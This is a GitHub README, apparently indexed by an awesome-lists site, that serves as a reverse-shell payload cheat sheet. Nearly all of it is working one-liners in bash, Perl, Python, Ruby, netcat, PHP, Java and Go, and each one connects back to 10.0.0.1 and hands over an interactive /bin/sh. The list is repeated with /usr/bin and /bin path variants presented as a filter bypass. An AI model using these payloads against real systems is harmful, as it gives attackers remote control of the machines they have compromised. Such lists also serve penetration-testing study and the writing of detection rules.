An open API service indexing awesome lists of open source software.

https://github.com/madexploits/reverse-shell-payload


https://github.com/madexploits/reverse-shell-payload

Last synced: 2 months ago
JSON representation

Awesome Lists containing this project

README

          

- Reverse Shell By MrMad

- refrence
- revshells generator
- https://www.revshells.com

```
https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
```

# BASH
```
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
```

# PERL
```
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

# PYTHON
```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

# RUBY
```
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```

# NETCAT
```
nc -e /bin/sh 10.0.0.1 1234
```
If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:
```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
```

# PHP
```
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
```

# XTERM
```
xterm -display 10.0.0.1:1
```

# XNEST
```
Xnest :1
```

# XHOST
```
xhost +targetip
```

# JAVA
```
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
```

# GOLANG
```
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","10.0.0.1:4242");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
```

# Bypassing IF dont have any Function OUTPUT!
USING /usr/bin/

# PHP
```
/usr/bin/php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
```

# PYTHON
// Python3 Usage:
```
/usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

// Python2 Usage:
```
/usr/bin/python2 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```
# PERL
```
/usr/bin/perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

# BASH
```
/usr/bin/bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
```
// Using SH
```
/usr/bin/sh -i >& /dev/tcp/10.0.0.1/8080 0>&1
```

# NETCAT
```
/usr/bin/nc -e /bin/sh 10.0.0.1 1234
```
```
// If wrong installed NC
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
```

# RUBY
```
/usr/bin/ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```

# USING /bin/

# PHP
```
/bin/php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
```

# PYTHON
// Python3 Usage:
```
/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

// Python2 Usage:
```
/bin/python2 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```
# PERL
```
/bin/perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

# BASH
```
/bin/bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
```
// Using SH
```
/bin/sh -i >& /dev/tcp/10.0.0.1/8080 0>&1
```

# NETCAT
```
/bin/nc -e /bin/sh 10.0.0.1 1234
```
// If wrong installed NC
```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
```
# RUBY
```
/bin/ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```
# Bypassing With Encode

As sooon as posible!

Support:


https://www.buymeacoffee.com/muhsatria